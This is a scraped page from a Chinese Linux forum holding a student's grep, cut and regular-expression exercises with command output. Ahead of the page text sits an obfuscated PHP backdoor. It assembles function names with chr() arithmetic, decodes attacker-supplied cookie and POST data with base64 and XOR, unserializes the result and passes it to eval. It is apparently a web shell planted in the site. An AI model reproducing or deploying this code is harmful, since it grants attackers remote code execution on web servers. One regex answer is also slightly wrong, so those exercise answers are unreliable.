$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 0805随堂练习 | Linux运维部落

0805随堂练习

文本处理练习:

1.找出本机ip地址
  [root@localhost ~]# ifconfig |head -2 |tail -1 |tr -s ' ' ':' |cut -d: -f3
  10.1.252.221

2.查看本机分区最大的利用率
  [root@localhost ~]# df |tr '%' ' ' |tr -s ' ' ':' |cut -d: -f5 |tr '[:alpha:]' ' ' |sort |tail -1
  29

3.查出用户UID最大值的用户名,UID,及shell类型
  [root@localhost ~]# getent passwd |cut -d: -f1,3,7 |sort -t: -k2 -n |tail -1
  nfsnobody:65534:/sbin/nologin

4.查出/tmp的权限,以数字方式显示
  [root@localhost ~]# stat /tmp |head -4 |tail -1 |tr -s ' ' ':' |cut -d: -f2 |tr -cd '[:digit:]'
  1777

5.统计当前连接本机的每个远程主机IP的连接数,并按从小到大排序
  [root@localhost ~]# netstat -nt |grep 'tcp' |tr -s ' ' ':' |cut -d: -f4 |uniq -c
      5 10.1.252.221

正则表达式练习:

1.显示/proc/meminfo文件中以大小写s开头的行

  [root@localhost home]# grep -i '^s' /proc/meminfo
  SwapCached:            0 kB
  SwapTotal:       2098172 kB
  SwapFree:        2098172 kB
  Shmem:              6992 kB
  Slab:              70944 kB
  SReclaimable:      41568 kB
  SUnreclaim:        29376 kB

  [root@localhost home]# grep '^[Ss]' /proc/meminfo
  SwapCached:            0 kB
  SwapTotal:       2098172 kB
  SwapFree:        2098172 kB
  Shmem:              6992 kB
  Slab:              70944 kB
  SReclaimable:      41568 kB
  SUnreclaim:        29376 kB

2.显示/etc/passwd文件中不以/bin/bash结尾的行

[root@localhost ~]# grep -v '.*/bin/bash$' /etc/passwd
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
……

3.显示rpc用户默认的shell程序

[root@localhost ~]# grep '^rpc\>' /etc/passwd |cut -d: -f7
/sbin/nologin

4.找出/etc/passwd中的两位或三位数

[root@localhost ~]# grep -w '[[:digit:]]\{2,3\}' /etc/passwd
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
……

5.显示/etc/grub2.cfg文件中,至少以一个空白字符开头的且后面存在非空白字符的行

[root@localhost ~]# grep '^[[:space:]]\+.*[^[:space:]][^[:space:]]*' /etc/grub2.cfg
  load_env
   set default="${next_entry}"
   set next_entry=
   save_env next_entry
   set boot_once=true
   set default="${saved_entry}"
  menuentry_id_option="–id"
  menuentry_id_option=""

6.找出“netstat-tan”命令的结果中以“LISTEN”后跟任意多个空白字符结尾的行

[root@localhost ~]# netstat -tan |grep '.*LISTEN[[:space:]]*$'
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6010          0.0.0.0:*               LISTEN

7.添加用户bash,testbash,basher以及nologin(其shell为/sbin/nologin),而后找出/etc/passwd文件中用户名同shell名的行

[root@localhost ~]# getent passwd |grep '^\<\(.*\)\>.*\b\1\b$'
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
bash:x:1001:1001::/home/bash:/bin/bash
nologin:x:1004:1004::/home/nologin:/sbin/nologin

扩展正则表达式练习:

1、显示当前系统root、 mage或wang用户的UID和默认shell

[root@localhost ~]# getent passwd |grep -E '^\<(root|mage|wang)\>' |cut -d: -f3,7
0:/bin/bash
1005:/bin/bash
1006:/bin/bash

2、找出/etc/rc.d/init.d/functions文件中行首为某单词(包
括下划线)后面跟一个小括号的行

[root@localhost ~]# grep -E '^(_|[[:alpha:]])+\(' /etc/init.d/functions
checkpid() {
__pids_var_run() {
__pids_pidof() {
daemon() {
killproc() {
pidfileofproc() {
pidofproc() {
status() {

3、使用egrep取出/etc/rc.d/init.d/functions中其基名

[root@localhost ~]# echo '/etc/rc.d/init.d/functions' |egrep -o '[^/]+/?$'
functions

 4、使用egrep取出上面路径的目录名(待确定)

[root@localhost ~]# echo '/etc/rc.d/init.d/functions' |egrep -o '(/.*/)'
/etc/rc.d/init.d/

5、统计以root身份登录的每个远程主机IP地址的登录次数

[root@localhost ~]# last |egrep -o '^root\>.*([[:digit:]]\.)[[:digit:]]+' |tr -s ' ' |cut -d" " -f1,3 |sort |uniq -c
     15 root 10.1.250.107
      1 root 192.168.1.104

6、利用扩展正则表达式分别表示0-9、 10-99、 100-199、200-249、 250-255

[0-9]
[1-9][0-9]
1[0-9]{2}
2[0-4][4-9]
25[0-5]

7、显示ifconfig命令结果中所有IPv4地址

[root@localhost ~]# ifconfig |egrep -o '(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])'
10.1.252.221
255.255.0.0
10.1.255.255
127.0.0.1
255.0.0.0

原创文章,作者:Mr.Lee,如若转载,请注明出处:http://www.178linux.com/30041

(0)
上一篇 2016-08-07 22:07
下一篇 2016-08-07 22:07

相关推荐

  • bash特性及配置文件

    bash配置文件     两类:         profile:为交互式登录shell提供配置         bashrc:为非交互式登录shell提供配置…

    Linux干货 2016-08-31
  • 第二周作业

    Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关实例演示 理论上,linux一切皆文件,对于linux的管理命令均算是文件管理命令。 Linux文件类型常见的有:常规文件、目录文件、块设备文件、字符设备文件、符号链接文件、命名管道、套接字文件等。 -:常规文件 [root@iZ25c28fe7fZ ~]# ls -lh checkmount.s…

    Linux干货 2017-09-25
  • 磁盘管理之磁盘分区,主引导分区表修复

    磁盘管理: I/O Ports: I/O设备地址 一切皆文件: open(), read(), write(), close() 设备类型: 块设备:block,存取单位“块”,磁盘 字符设备:char,存取单位“字符”,键盘 设备文件:关联至一个设备驱动程序,进而能够跟与之对应硬件设备进行通信 设备号码: 主设备号:major number, 标识设备类型…

    Linux干货 2016-08-25
  • sed&awk

    Evernote Export 1、总结sed和awk的详细用法; awk Linux文本处理工具三剑客:grep、sed和awk。其中grep是一种文本过滤工具,sed是文本编辑器,而awk是一种报表生成器,就是对文件进行格式化处理的,这里的格式化不是文件系统的格式化,而是对文件内容进行各种“排版”,进而格式化显示。 在Linux之上我们使用的是GNU a…

    Linux干货 2017-01-05
  • shell脚本语言的for循环使用方法和案例

    在shell语言中bash是用的最多的,其语法简单。以指令为核心快速解决常用的问题。所有语言中逻辑控制是必不可少的,它可以帮助我们减少不必要的重复性工作。今天我们就来说说所有语言都会使用的神奇的for循环,学了它以后不仅知道如果规避重复的工作,还能理解程序的运行原理。         for循环是什么?&nb…

    Linux干货 2017-04-16
  • vim编辑器作业

    1、复制/etc/profile至/tmp/目录,用查找替换命令删除/tmp/profile文件中的行首的空白字符 [root@wzc tmp]# vim profile    # By default, we want umask to …

    Linux干货 2016-08-12